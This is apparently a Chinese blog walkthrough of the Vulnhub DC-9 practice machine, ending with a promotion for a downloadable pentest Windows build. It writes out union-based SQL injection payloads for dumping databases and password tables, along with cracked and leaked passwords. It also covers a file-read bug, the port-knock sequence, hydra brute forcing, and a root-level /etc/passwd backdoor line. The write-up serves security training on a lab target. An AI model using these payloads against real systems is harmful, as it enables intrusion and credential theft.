Vulnhub DC-9靶机实战
前言
-
这里说一下这个靶机的难点
-
1.这次sql注入是两个库的,在不使用sqlmap的情况下很多人直接database()看数据库,另一个库反倒没关注
-
2.nmap的扫描方式如果用-sT的tcp连接扫端口的话是扫不到那些被防火墙过滤的端口的,直接nmap ip就可以
-
3.在没有办法头绪的时候,不妨根据猜测去fuzz一些参数,看看能不能找到一个新思路
-
4.对于容易信息泄露的地方要排除
-
5.在实战的时候要根据对应的服务去找对应的思路,比如说ssh的请求被过滤了,是被什么防火墙过滤的?这个服务有些什么防范方式,这些都要去一个个排查。
-
tips:这个靶机算是比较接近实战的一个靶机了,冲吧家人们
-
附上下载链接:https://download.vulnhub.com/dc/DC-9.zip
信息收集
-
这里ssh被防火墙拦截了(并非没有开,知识被拦截了)
-
80端口开着
页面分析
首页
-
发现manage有个登录框,于是想到sql注入找用户名和密码进去,我们后面的思路就围绕这个展开
记录页
-
发现里面有用户信息
搜索页sql注入
-
查询入口尝试sql注入发现有回显
查看当前表的列数
-
用order by 看回显判断列数是6列
爆库
联合注入爆库
-1'union select 1,2,3,4,5,group_concat(schema_name) from information_schema.schemata #
-1'union select 1,2,3,4,5,database() #
可以看到有Staff员工库和users库,我们当前使用的库是staff 注意这里有两个库!!!!!!
对staff库的分析
为了避免混乱我们先分析staff库
爆表
satff库的表
-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='Staff'#
这里有两个表,一个是details,一个是users
爆字段
StaffDetails表的字段
Users表的字段
查询代码
-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='Users'#
-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='StaffDetails'#
-
注意:这里staff库的第一个表明显是之前我们可以直接查询到的明显不是重点,所以我们看第二个表的内容就好了
爆内容
Mary' union select 1,2,3,4,5,group_concat(Username,',',Password) from Staff.Users #(这里我用逗号隔开会好看一点)
爆了一串值,32位的,应该是md5值,我们去查一下
MD5解密
-
密码是transorbital1
管理员登录页分析
登录进来了
-
除了能够新添加一个用户以外就只有一个file不存在的提示了,只有读取了一个不存在的文件才会有这个提示,所以想到使用file参数然后fuzz爆破试试看
如下
-
可以看到这是个文件读取漏洞
ssh配置文件查看
这里算比较重要的地方了,可以看到我们扫到了一个ssh的配置文件,加上刚才被nmap被过滤,我觉得应该从这里入手,直接看里面的文件信息。
不允许root访问,以及把22端口都注释掉了!!!那咋连接呢,在这个文件里面也没有找到更改了的其他默认端口
ssh入口分析
看似面临绝境,再去找一下ssh的防御手段,最后让我找到了下面这一篇文章!
别让黑客轻易入侵:端口敲门,让你的SSH固若金汤!-CSDN博客
我们去访问一下它的配置文件有没有,就知道是不是这个服务了
一看确实有,还暴露了它的knock序列,7469,8475,9842,然后我们的kali安装一下他这个b服务
使用knocked敲门
-
注意这里我敲了两次,因为我发现第一次敲完以后他没有开,回去看它的配置文件的时候发现要敲第二遍
准备ssh登录
用admin账号登录发现不行。之前也没有别的登录密码的办法啊就很奇怪。大家先别急,还记得我们的另一个库吗,还没看过呢,这就是我们要分两个库分析的原因啦
对users库的分析
爆表
users库的表
-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='users'#
可以看到只有一个UserDetails表,应该就是我们需要的密码了
爆字段
-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='UserDetails' #
果然有密码!!
字段我们选username和password就好了
爆内容
-1' union select 1,2,3,4,5,group_concat(Username,',',Password) from users.UserDetails #
hydra爆破
账号密码都出来了,整理一下是下面这样
这里-C表示使用账号密码一一对应的字典爆破,得到了三个账号和密码
信息泄露
-
一般提权无所获,在janitor家目录下面找到一组泄露的密码
-
把旧密码删了然后hydra爆破
-
爆出了一个新用户密码
-
B4-Tru3-001
提权
-
给了我们test.py的用法,但是这个不是test.py啊,我们再去找找
-
发现了一个root用户的py脚本
意思是满足三个参数的条件,然后会把第二个参数的内容写到第三个参数里面去,这很简单啊,只要我们把用户的uid和gid改成0再写到passwd里面不就好了
这里去了解了一下,直接照猫画虎在passwd里面加类似的文件是行不通的,因为passwd还会到shadow里面去验证密码。有个说法说只要在passwd里面写入md5加盐的密码也可以,这里我试一下
openssl生成一个账户密码
username:password:UID:GID:connection:home dictionary:shell 按照这个格式输入到passwd里面 hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash
先写文件到有权限的目录下
然后我们回到最开始那个test来执行(他应该是一个类似软连接的指向作用吧,反正我们也只能执行这个了。)
执行一下提权成功
最后
感谢大家能够看完我的文章,小弟在这里也不虚头八脑的的去推销什么,就单纯给个工具(真心话,不是什么广告,能看到这里的也能看出来我的文章算是比较简练有效的。。)
就是分享给你们一个网络安全领域里面巨好用的windows系统(不好用直接评论区骂我无所谓的,真)
它比较适合新手小白,里面集成了大量的渗透工具,从漏洞扫描,抓包,反弹webshell,逆向等工具都有,好不好用试一试就知道了,下面是它的图片(左边有东西就不好透露啦,工具真的有很多,而且自带python,java等环境,不会有人现在还在自己花大量的时间配置把,里面还内嵌了kali,是的你没听错,一个系统在手,安全领域我有~
精简界面
海量工具
浏览器自带各种插件
下面是链接
我用夸克网盘分享了「你想要的都在这」,点击链接即可保存。打开「夸克APP」,无需下载在线播放视频,畅享原画5倍速,支持电视投屏。 链接:夸克网盘分享 提取码:kjxd